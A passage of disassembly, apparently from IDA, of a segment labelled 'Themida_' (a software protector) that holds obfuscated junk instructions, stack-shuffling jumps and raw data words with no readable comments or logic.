		dd 81242C8Bh, 4ECh, 242C8900h, 0C581E589h, 4, 4C581h, 7AE90000h
		dd 66FFFFEAh, 2C8B665Dh, 0A47FE924h, 34FFFFFFh,	54505D24h
		dd 48BB5358h, 0C1246B10h, 0DCE903EBh, 52FFFF7Ah, 24148B5Fh
		dd 0AB46E951h, 2489FFFFh, 24048124h, 4,	4BE565Bh, 1000000h
		dd 0E9525EF3h, 0FFFF7D05h, 4C481h, 0B5050000h, 8B28D434h
		dd 73E92414h
		db 0C1h, 2 dup(0FFh)
byte_625FC7	db 66h			; DATA XREF: Themida_:0061C078o
		dd 50240C8Bh, 0AEE95854h, 45FFFF80h, 7441F581h,	81E96E62h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_625FDF:				; CODE XREF: Themida_:00624373j
		mov	edi, 2F7A108Bh
		or	ebx, edi
		pop	edi
		or	ebx, 0EA70E6h
		sub	ebx, 0CD9C2DACh
		xor	ecx, ebx
		jmp	loc_625446
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFFA5EDh
; ---------------------------------------------------------------------------


loc_626000:				; CODE XREF: Themida_:0061EFA3j
		mov	cl, 0E8h
		jmp	loc_6218EC
; ---------------------------------------------------------------------------


loc_626007:				; CODE XREF: Themida_:0062567Fj
		push	edi
		mov	edi, 10AA4527h
		sub	edi, 0F978D86Ch
		jmp	loc_624080
; ---------------------------------------------------------------------------
		dd 8145DDF7h, 5B505DF5h, 5DEF317Bh, 3C8BF829h, 79FB6824h
		dd 3C890000h, 81E78924h, 4C7h, 4C78100h, 87000000h, 8E9243Ch
		dd 51FFFFC1h, 0A511A6B9h, 0E9D1F72Bh, 0FFFFC5DDh, 0E980BDB1h
		dd 0E9D1F6F7h, 0FFFFFC13h, 5056DFF7h, 0FFA1BEE9h, 0BD5551FFh
		dd 431F77FBh, 0FFB724E9h, 28432CFFh, 44304D8h, 4EC839Dh
		dd 0FFFA3EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_626085:				; CODE XREF: Themida_:00624EB7j
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	476Ah
		mov	[esp], esi
		jmp	loc_623400
; ---------------------------------------------------------------------------
		db 0BFh
		dd 14B0284Fh, 560BA52h,	0D7091461h, 0A7CF815Ah,	0F7146D0Dh
		dd 4DE781D7h, 81794670h, 0BCC49BC7h, 5FF901E9h,	0C8BCE01h
		dd 4C48324h, 0E69DE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6260D6:				; CODE XREF: Themida_:00624367j
		not	eax
		jmp	loc_62595C
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 0C6830000h, 24343302h, 0E9243431h, 0FFFF6EDDh
		dd 0FF6126E9h, 1BBFFh, 0D9210000h, 2122E9h, 0EC835100h
		dd 24048904h, 0F6CBB652h, 8EDEE9D6h, 0E951FFFFh, 0FFFFC463h
		dd 0E904C483h, 0FFFFF067h, 4B58C331h, 0F707E3C1h, 652DE9DBh
		dd 585EFFFFh, 2EF5F581h, 0E8017A8Fh, 51242C8Bh,	0FF73E1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_626145:				; CODE XREF: Themida_:00625016j
		and	eax, esi
		pop	esi
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_6285D8
; ---------------------------------------------------------------------------
		dw 0A92Dh
		dd 0C168AC09h, 0E95503E8h, 0FFFFEA2Ah, 5EF18966h, 0FF7F2EE9h
		dd 240C33FFh, 33240C31h, 248B240Ch, 89666424h, 60A1E902h
		dd 0C681FFFFh, 0EEDDD526h, 335EF301h, 1C31241Ch, 241C3324h
		dd 0E924248Bh, 0FFFFDFBBh, 0E924248Bh, 0FFFF607Fh, 4C581h
		dd 32680000h, 89000045h, 9B682414h, 8900005Ch, 68552434h
		dd 53086543h, 0FF81C6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6261C1:				; CODE XREF: Themida_:0061ED11j
		push	ecx
		mov	ecx, 9662F84h
		add	ecx, 0F699D080h
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_61EF89
; ---------------------------------------------------------------------------
		dd 33241431h, 0E95C2414h, 0FFFFA5A1h, 0EB815A5Bh, 250F68FAh
		dd 0C381FB01h, 250F68FAh, 81243C8Bh, 4C4h, 241C8700h, 3024248Bh
		dd 0E99C2404h, 0FFFF5FFBh, 0B30964BFh, 56EF8126h, 816E7016h
		dd 0F3316BC7h, 91BB5366h, 812C6168h, 4B4640EFh,	81DF295Bh
		dd 4B4640C7h, 241C8B5Bh, 8104C483h, 0D49445EFh,	0C57EE975h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62625A:				; CODE XREF: Themida_:006271A5j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_6283F7
; ---------------------------------------------------------------------------


loc_62626E:				; CODE XREF: Themida_:006225C3j
		mov	ebp, 7EE61755h
		jmp	loc_6241A3
; ---------------------------------------------------------------------------
		dd 384FBA52h, 0BB535B97h, 1AD92DBCh, 5BE9DA01h,	68FFFF70h
		dd 0
		dd 0FFB3AEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_626295:				; CODE XREF: Themida_:00621ACAj
		mov	esi, 1
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_620F3C
; ---------------------------------------------------------------------------
		db 35h,	0E4h, 52h
		dd 0D8F737A9h, 0AFA1E951h, 315CFFFFh, 0F0215AD6h, 0E92434FFh
		dd 2C6h, 0E904EC83h, 0FFFFABA3h
; ---------------------------------------------------------------------------


loc_6262C8:				; CODE XREF: Themida_:0061EE1Aj
		mov	edi, edx
		pop	edx
		jmp	loc_623044
; ---------------------------------------------------------------------------


loc_6262D0:				; CODE XREF: Themida_:006257FAj
		jmp	loc_61C21F
; ---------------------------------------------------------------------------


loc_6262D5:				; CODE XREF: Themida_:0061F9ECj
		add	esi, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_6201E8
; ---------------------------------------------------------------------------
word_6262E6	dw 8B66h		; DATA XREF: Themida_:0061BFCCo
		dd 0EC832404h, 242C8904h, 63E9E589h, 81FFFFE5h,	8ACC3EF6h
		dd 6EC281B5h, 0E9071432h, 4C4h
dword_626308	dd 240C8B66h, 0FFFFAFE9h, 148B66FFh, 830CE924h,	895CFFFFh
					; DATA XREF: Themida_:0061C08Co
		dd 9C502414h, 0FF5EFAE9h
		db 0FFh
byte_626325	db 8Bh,	2 dup(24h)	; DATA XREF: Themida_:0061BFBCo
		dd 0FF5EF2E9h, 0F4E581FFh, 0E90C3C0Bh, 0FFFF6E2Dh, 49E055Eh
		dd 0BF5719A6h, 6E3B30E2h, 3C8BF831h, 4C48324h, 0E9204789h
		dd 0C59h, 68535557h, 78A67FDCh,	0E9241C8Bh, 0FFFFD601h
		dd 0E95F5457h, 0FFFF8046h, 9D268h, 241C8900h, 1E26E9h
		db 0
; ---------------------------------------------------------------------------


loc_626379:				; CODE XREF: Themida_:00624051j
		pop	esi
		push	ebp
		mov	ebp, 401631F2h
		jmp	loc_623215
; ---------------------------------------------------------------------------


loc_626385:				; CODE XREF: Themida_:00627647j
		pop	esi
		jmp	loc_6226A8
; ---------------------------------------------------------------------------
		db 83h
		dd 0D02104C4h, 8E8C15Ah, 5650C831h, 42474FFh, 8D6AE95Eh
		dd 489FFFFh, 2B824h, 0C2010000h, 582434FFh, 81E38953h
		dd 4C3h, 4C38300h, 0FFCAE5E9h, 4C381FFh, 0E9000000h, 0FFFFC20Ah
; ---------------------------------------------------------------------------


loc_6263CC:				; CODE XREF: Themida_:006233C6j
		mov	edx, 7DFE701Fh
		xor	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_626E01
; ---------------------------------------------------------------------------


loc_6263DF:				; CODE XREF: Themida_:00622E4Cj
		sub	edx, 2
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_61F78C
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFD2BAh, 4B850h, 0C7010000h, 20E95558h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62640F:				; CODE XREF: Themida_:0061F3A4j
		mov	edi, esp
		add	edi, 4
		jmp	loc_62010D
; ---------------------------------------------------------------------------
		dd 0D7E951h, 0EFB80000h, 8142BC5Dh, 42082444h, 10D1834h
		dd 81082444h, 4208246Ch, 8B0D1834h, 0CAE92404h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_626443:				; CODE XREF: Themida_:00628001j
		push	eax
		push	edi
		mov	edi, 56A864B5h
		sub	edi, 1B057A89h
		shr	edi, 7
		push	eax
		mov	eax, 0FF88BA2Eh
		add	edi, eax
		pop	eax
		mov	eax, edi
		pop	edi
		mov	edx, eax
		pop	eax
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_6253BF
; ---------------------------------------------------------------------------


loc_626470:				; CODE XREF: Themida_:00621133j
		add	eax, 0C008836Dh
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	edx, 544B1A43h
		jmp	loc_6218D2
; ---------------------------------------------------------------------------


loc_62648B:				; CODE XREF: Themida_:00624144j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	6DE0h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 6F47DD06h
		jmp	loc_61D011
; ---------------------------------------------------------------------------


loc_6264B2:				; CODE XREF: Themida_:0061E689j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_6264BE:				; CODE XREF: Themida_:00626527j
		push	ecx
		sub	esp, 4
		mov	[esp], ebx
		pop	ecx
		push	4049h
		mov	[esp], edi
		push	ecx
		jmp	loc_621C3D
; ---------------------------------------------------------------------------
		db 81h
		dd 0D55E13C2h, 33BD552Ah, 0E9331B57h, 0FFFFA416h
; ---------------------------------------------------------------------------


loc_6264E8:				; CODE XREF: Themida_:00624058j
		add	cl, al
		pop	eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_625A01
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 6Ah
		dd 0E94D0A46h, 0FFFFC226h, 3B0CC681h, 0F6813BC2h, 66766988h
		dd 1C681h, 0EE810000h, 235C703h, 0FFADE0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_626521:				; CODE XREF: Themida_:0061D8A2j
		xor	edx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_6264BE
		push	dword ptr [edi+1Ch]
		jmp	loc_620F83
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 32h
		dd 810304F6h, 0E84E92EFh, 9DC7815Dh, 12DDF52h, 9DEF81EFh
		dd 0E92DDF52h, 0FFFFAC2Dh, 4C781h, 3C330000h, 0F61DE924h
		db 2 dup(0FFh)
word_626562	dw 77FFh		; DATA XREF: Themida_:0061C168o
		dd 5CB5E92Ch, 3487FFFFh, 0C895C24h, 5A556824h, 24890000h
		dd 24048324h, 2434FF04h, 1FC1E959h, 525E0000h, 0C281E289h
		dd 4, 8704C283h, 23E92414h, 5FFFFF3h, 0C2562C99h, 2958C589h
		dd 5D04246Ch, 0FF5C72E9h, 81EA01FFh, 2370AEC2h,	0AD6EE91Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6265BA:				; CODE XREF: Themida_:0061DCA0j
		push	ebx
		mov	bh, 9Ah
		or	dl, bh
		pop	ebx
		add	dl, 67h
		add	al, 2
		sub	al, dl
		sub	al, 2
		pop	edx
		push	small 14A3h
		mov	[esp], dx
		push	ebx
		mov	bh, 80h
		push	eax
		mov	al, bh
		mov	dl, al
		mov	eax, [esp]
		add	esp, 4
		pop	ebx
		push	ebx
		jmp	loc_620921
; ---------------------------------------------------------------------------


loc_6265EA:				; CODE XREF: Themida_:006283AFj
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_6278F4
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_620431
; ---------------------------------------------------------------------------
		db 0BEh, 1Eh, 1Bh
		dd 0F681769Fh, 62266749h, 0C101EE83h, 514E08E6h, 83AA05B9h
		dd 42C68146h, 167BA11h,	42EE81CEh, 5967BA11h, 1A06E957h
		dd 6C810000h, 43560424h, 4C014538h, 44810424h, 43560424h
		dd 0E9594538h, 0FFFFC254h, 6DBA525Fh, 57225616h, 0BFh
		dd 0E03EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_626662:				; CODE XREF: Themida_:006243FBj
		shl	edx, 1
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_621120
; ---------------------------------------------------------------------------
		dw 0FD29h
		dd 81FD015Fh, 93CFEC5h,	2BE95F50h, 51FFFFF4h, 0DF7920B9h
		dd 41C1813Dh, 497ABB33h, 1ACDE181h, 8141271Eh, 986385F1h
		dd 9D34E955h, 1BB3FFFFh, 34FFD830h, 241C8B24h, 8104C483h
		dd 4ECh, 241C8900h, 0BA52E389h,	103C4727h, 2404FF52h, 2CF2815Ah
		dd 1103C47h, 0C3815AD3h, 4, 2474FF53h, 241C8B04h, 0E904C483h
		dd 0FFFFCCA0h, 0F4E9D000h, 55000014h, 0FFEE9AE9h, 148B54FFh
		dd 4C48324h, 1514B951h,	0C0E96847h, 59FFFFCFh, 3C7A68h
		dd 24048900h, 0DEE95854h
		db 86h,	2 dup(0FFh)
byte_626713	db 0ADh			; DATA XREF: Themida_:0061C110o
		dd 0EC81D831h, 4, 0E9241C89h, 0FFFF7DAFh, 81D98743h, 6B3A5BE1h
		dd 0F635E903h
		db 2 dup(0FFh)
word_626732	dw 8B66h		; DATA XREF: Themida_:0061C01Co
		dd 0AA68240Ch, 8900007Dh, 0E589242Ch, 4C581h, 68560000h
		dd 2, 8124348Bh, 4C4h, 0DC30E900h, 2C87FFFFh, 5ABDE924h
		dd 2489FFFFh, 4BD5524h,	81000000h, 39042444h, 11F016Ch
		dd 8104246Ch, 3904246Ch, 5D1F016Ch, 0E92434FFh,	0FFFFAFCAh
		dd 5C240C87h, 243CD366h, 5A89E99Ch, 0CEB8FFFFh,	5714203Bh
		dd 0BFh, 89C72900h, 0E8C15FF8h,	0BAEBE903h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6267AE:				; CODE XREF: Themida_:0061CB97j
		push	ebp
		mov	ebp, 6FF165A4h
		mov	edi, 0C7C868DAh
		sub	edi, ebp
		jmp	loc_622997
; ---------------------------------------------------------------------------
		dd 24148966h, 0E9BAB050h, 0FFFF83EAh, 0BB53F201h, 2F002645h
		dd 8107EBC1h, 1D605ACBh, 30F38110h, 29174B52h, 565E5BDAh
		dd 2602BB53h, 0D3F77FEFh, 1C381h, 0E5E90000h
		db 5, 2	dup(0)
byte_6267FB	db 0FFh			; DATA XREF: Themida_:0061BFF8o
		dd 669D1C77h, 241CD259h, 5A15E99Ch, 0DC68FFFFh,	8900001Bh
		dd 74FF243Ch, 8F5F0424h, 248B2404h, 242CD324h, 59F9E99Ch
		dd 0E959FFFFh, 0FFFF7A8Bh, 0EC815B66h, 2, 24148966h, 0FFB705E9h
		dd 66D000FFh, 0E9C8285Ah, 0FFFF7339h, 2BD2BB53h, 0D929562Bh
		dd 5931895Bh, 0E92434FFh, 0FFFF72A0h, 81243C8Bh, 4C4h
		dd 9FE28100h, 835E670Ah, 0F28101EAh, 4C50E40Bh,	525AD029h
		dd 0F6E9E289h, 87FFFFD1h, 895C240Ch, 4DE92404h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62688B:				; CODE XREF: Themida_:0062747Aj
		push	3916h
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		jmp	loc_623F3C
; ---------------------------------------------------------------------------
		db 0B7h
		dd 0BEEF8067h, 515BFE28h, 0B1E987B5h, 8BFFFFB0h, 68E92434h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6268B3:				; CODE XREF: Themida_:006204B4j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	eax, edi
		pop	edi
		jmp	loc_61C21F
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFFFA70h, 4067BF57h, 10E95D3Bh, 5AFFFFC5h,	0E7E9D829h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6268DB:				; CODE XREF: Themida_:006212F3j
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_622867
; ---------------------------------------------------------------------------
		dw 0D366h
		dd 0E99C2424h, 0FFFFE96Fh
dword_62690C	dd 0FF2434FFh, 0CAE92434h		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_626917:				; CODE XREF: Themida_:00623498j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_623245
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1Ch
		sub	ebx, 32A22204h
		jmp	loc_6244E1
; ---------------------------------------------------------------------------


loc_626948:				; CODE XREF: Themida_:006235A4j
		add	esp, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_61FF03
; ---------------------------------------------------------------------------
		db 89h
		dd 0D588240Ch, 0BB53h, 0C3010000h, 0BEE92B88h, 0F7FFFFAAh
		dd 8B5157D1h, 0C483243Ch, 0F7815904h, 0F05D90AEh, 48E9FB29h
		dd 25000018h, 77971539h, 504E8C1h, 1B4B5FB1h, 1B05D0F7h
		dd 0E94B2A0Fh, 0FFFFD774h, 40068h, 0D0215A00h, 5A2434FFh
		dd 0FFCCECE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6269B5:				; CODE XREF: Themida_:006201BDj
		inc	esi
		push	esi
		jmp	loc_61F83C
; ---------------------------------------------------------------------------


loc_6269BC:				; CODE XREF: Themida_:0062286Aj
		add	edx, 4
		jmp	loc_623FAB
; ---------------------------------------------------------------------------
		db 88h
		dd 80585AF1h, 0D1F659F1h, 0FF6459E9h, 55E389FFh, 4BDh
		dd 5DEB0100h, 8704C383h, 0D6E9241Ch, 89FFFFB7h,	4BE56E7h
		dd 1000000h, 0C7835EF7h, 243C3304h, 0E9243C31h,	0FFFFB5EEh
		dd 9214C1B9h, 62C1817Ch, 0E93E064Ah, 0FFFF8384h, 405h
		dd 24048700h, 2BA525Ch,	1000000h, 34875AD6h, 24248B24h
		dd 9C243CD3h, 0FF57EAE9h, 8E6C1FFh, 1231BF57h, 0FE091DCBh
		dd 0FFBB5CE9h
		db 0FFh
byte_626A45	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0061C050o
		dd 0FFC417E9h, 57CDE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_626A52:				; CODE XREF: Themida_:0062201Dj
		xor	edx, edi
		mov	edi, [esp]
		jmp	loc_627728
; ---------------------------------------------------------------------------
		dd 241C895Ch, 4EC81h, 24890000h, 24048324h, 0C3815B04h
		dd 4, 0FFA2A0E9h, 405FFh, 4870000h, 0C00B5C24h,	0DB9A840Fh
		dd 8768FFFFh, 0E9000032h, 0FFFFAB6Ah, 33242C31h, 248B242Ch
		dd 148B6624h, 0E6895624h, 4C681h, 53500000h, 4EC81h, 3C890000h
		dd 5C326824h, 0F75F7E74h, 0D9EF81D7h, 89790279h, 769DE9FBh
		dd 5C04FFFFh, 0FFD45FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_626AD1:				; CODE XREF: Themida_:00622224j
		shr	edi, 8
		add	edi, 3ED97525h
		add	edi, 3481FC5Eh
		jmp	loc_621606
; ---------------------------------------------------------------------------
		db 0BBh, 2, 0
		dd 0C5810000h, 54757424h, 0FFD3E6E9h, 0C8966FFh, 0B60F6624h
		dd 9C5166C8h, 0FF571AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_626B05:				; CODE XREF: Themida_:006285D3j
		inc	eax
		not	eax
		shl	eax, 1
		and	eax, 11014F00h
		sub	eax, 140FCh
		add	esi, eax
		pop	eax
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_621EBB
; ---------------------------------------------------------------------------


loc_626B2E:				; CODE XREF: Themida_:00622EDDj
		sub	[esp+4], eax
		jmp	loc_621A20
; ---------------------------------------------------------------------------
		db 1
		dd 0EC835EF3h, 241C8904h, 42474FFh, 24048F5Bh, 0FFAAD3E9h
		dd 4C481FFh, 5000000h, 4, 5C240487h, 0FF7380E9h, 243C8BFFh
		dd 0FFCDF1E9h, 58E628FFh, 0DEF6DEF6h, 0FF6E72E9h, 242C8BFFh
		dd 4C481h, 0BE560000h, 16E54E61h, 8107EEC1h, 232AA7F6h
		dd 0F6814661h, 49314610h, 8100EE81h, 0F001D08Ah, 8324348Bh
		dd 7E904C4h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_626BA7:				; CODE XREF: Themida_:0061F284j
		mov	[esp], eax
		push	63D1h
		mov	[esp], ebx
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_61ED6D
; ---------------------------------------------------------------------------
word_626BCA	dw 0F66h		; DATA XREF: Themida_:0061C0F4o
		dd 25E902B6h
		db 0C7h, 2 dup(0FFh)
byte_626BD3	db 0FFh			; DATA XREF: Themida_:0061C1A4o
		dd 0C8B2434h, 4C48124h,	56000000h, 0CBE9E689h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_626BE7:				; CODE XREF: Themida_:006246E1j
		mov	edx, 1E811C73h
		mov	eax, 5BCAF5D7h
		add	eax, edx
		pop	edx
		mov	ebp, eax
		pop	eax
		push	4CB4h
		mov	[esp], ecx
		mov	ecx, 664741Bh
		push	edx
		mov	edx, 6E947A87h
		sub	edx, 22A07907h
		or	edx, 6114291Dh
		sub	edx, 6FF836F3h
		jmp	loc_622E5C
; ---------------------------------------------------------------------------


loc_626C21:				; CODE XREF: Themida_:00627DB6j
		sub	al, cl
		jmp	loc_61DC9C
; ---------------------------------------------------------------------------
		dd 2414875Eh, 2CE9565Ch, 52FFFFDDh, 8904EC83h, 0B5B02404h
		dd 8058C288h, 0D9E942C2h, 8BFFFFE0h, 54682404h,	0E9000050h
		dd 0FFFFA160h, 0D2BC681h, 55E93978h
		db 65h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_626C5F:				; CODE XREF: Themida_:00622D2Dj
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_622C8F
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		pop	eax
		push	36CCh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_622FF9
; ---------------------------------------------------------------------------
		db 0B8h, 4, 0
		dd 0C5010000h, 242C3358h, 33242C31h, 248B242Ch,	2434FF24h
		dd 0FFD4CFE9h
		db 0FFh
byte_626CA9	db 0ADh, 53h, 0BBh	; DATA XREF: Themida_:0061C028o
		dd 3B152063h, 0FFAAF9E9h, 49E951FFh
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_626CBB:				; CODE XREF: Themida_:0061D57Fj
		pop	ecx
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		push	edi
		push	ebx
		mov	ebx, 4
		mov	edi, ebx
		pop	ebx
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_61D61E
; ---------------------------------------------------------------------------
		dw 3433h
		dd 93A2E924h, 0BE56FFFFh, 6D4747C1h, 43ADCE81h,	0E6C13BA7h
		dd 81D6F707h, 5C097BEEh, 0E9F7010Ch, 0FFFF9611h, 63E9FA89h
		dd 59FFFFD2h, 56E38953h, 0FFF8E8E9h
		db 0FFh
byte_626D21	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0061C1D4o
		dd 5A545224h, 0EDBBE956h, 0FD68FFFFh, 8900003Fh, 69E92414h
		dd 0BDFFFFFCh, 37E06607h, 5005E5C1h, 6D7423B8h,	58C50100h
		dd 0FFD785E9h, 0EC835EFFh, 242C8904h, 797A6852h, 148B2CF2h
		dd 0E7895724h, 0FFA5E5E9h, 2323BEFFh, 0C14E27F5h, 2DE904EEh
		dd 57FFFF9Bh, 2C72B6BFh, 0EC835166h, 24048904h,	0D8AEE957h
		dd 0E95DFFFFh, 0FFFFD920h, 30EFEC80h, 0DE8858E3h, 5B2C5Bh
		dd 8B5B04F0h, 0C4812414h, 4, 4EC81h, 1C890000h,	0C89CE924h
		dd 0E289FFFFh, 4C281h, 0EA830000h, 1187E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_626DC6:				; CODE XREF: Themida_:0061C8D4j
		not	ebp
		xchg	ebp, ecx
		push	11BEh
		jmp	loc_6243D2
; ---------------------------------------------------------------------------
		dd 6E1B6855h, 0E95D036Dh, 0FFFFB71Eh, 2414F753h, 0DAEB815Bh
		dd 0E96AF0BFh, 0FFFF6E9Ch, 31240433h, 4332404h,	24248B24h
		dd 0FFB187E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_626E01:				; CODE XREF: Themida_:006263DAj
		not	dword ptr [esp]
		pop	ecx
		shr	ecx, 7
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 26566D6h
		jmp	loc_622D7B
; ---------------------------------------------------------------------------


loc_626E18:				; CODE XREF: Themida_:00623941j
		add	ebx, 346325EEh
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		sub	ebx, 0FFFFFFFFh
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		shl	ebx, 5
		jmp	loc_626FB5
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4, 685BD801h, 1298h,	68243489h, 4, 5E2434FFh, 4C481h
		dd 0F0010000h, 0FF56B0E9h, 4BE95CFFh, 8BFFFFD5h, 0C483242Ch
		dd 5DEA8104h, 17D5352h,	5DC281C2h, 817D5352h, 0DE4A5AEAh
		dd 80EA817Bh, 81091F38h, 1F0AADC2h, 0E443E92Dh,	1489FFFFh
		dd 7E8CE924h
		db 2 dup(0FFh)
word_626E92	dw 34FFh		; DATA XREF: Themida_:0061C058o
		dd 24048B24h, 6804C483h, 7797h,	54240489h, 5324048Bh, 0C381E389h
		dd 4, 8704C383h, 0C2E9241Ch
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_626EBB:				; CODE XREF: Themida_:0061CD27j
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_6276EE
; ---------------------------------------------------------------------------
		dw 0DBF7h
		dd 8EE6EB81h, 0D929017Fh, 240C335Bh, 33240C31h,	895C240Ch
		dd 0A0B3241Ch, 772CD804h, 0D800A12Ch, 5166A104h, 0E80077B5h
		dd 0FF6F20E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_626EF5:				; CODE XREF: Themida_:0062223Aj
		sub	edi, 184120DAh
		jmp	loc_61D315
; ---------------------------------------------------------------------------
dword_626F00	dd 24048B66h, 1DF46855h, 24890000h, 0D6CAE924h
					; DATA XREF: Themida_:0061C00Co
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_626F12:				; CODE XREF: Themida_:00623F49j
		add	edx, 59114F50h
		jmp	loc_6212DE
; ---------------------------------------------------------------------------
		db 68h,	6Fh, 25h
		dd 0C890000h, 7CBE924h,	34FF0000h, 2434FF24h, 8124048Bh
		dd 4C4h, 0D2AAE900h, 5557FFFFh,	0E177E950h, 0EC83FFFFh
		dd 240C8904h, 42474FFh,	8B2434FFh, 0C483240Ch, 4C48104h
		dd 8F000000h, 0BDE92404h, 0F7FFFF53h, 0C0C281D2h, 814FFC16h
		dd 0AF31AEF2h, 5AD30191h, 3304EB83h, 1C31241Ch,	241C3324h
		dd 241C895Ch, 4C68D788h, 8900007Ch, 5250240Ch, 0F488FE88h
		dd 0E288525Ah, 0E95AD188h, 0FFFF8242h
; ---------------------------------------------------------------------------


loc_626FA4:				; CODE XREF: Themida_:0061E1A0j
		pop	esp
		shl	dword ptr [esp], cl
		jmp	loc_61C21F
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFD717E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_626FB5:				; CODE XREF: Themida_:00626E2Ej
		push	esi
		push	edi
		push	5DFF5690h
		pop	edi
		jmp	loc_62743A
; ---------------------------------------------------------------------------
		dw 4F2Dh
		dd 5B22AF05h, 0FFA2ECE9h, 4E6C1FFh, 651EE681h, 0EC833C2Ah
		dd 242C8904h, 9A025CBDh, 5DEE01D7h, 815EF301h, 8F7AABEBh
		dd 0D5BEE937h, 48FFFFFh, 24248B24h, 68243489h, 55340971h
		dd 5EF0315Eh, 62E9C331h
		db 0AAh, 2 dup(0FFh)
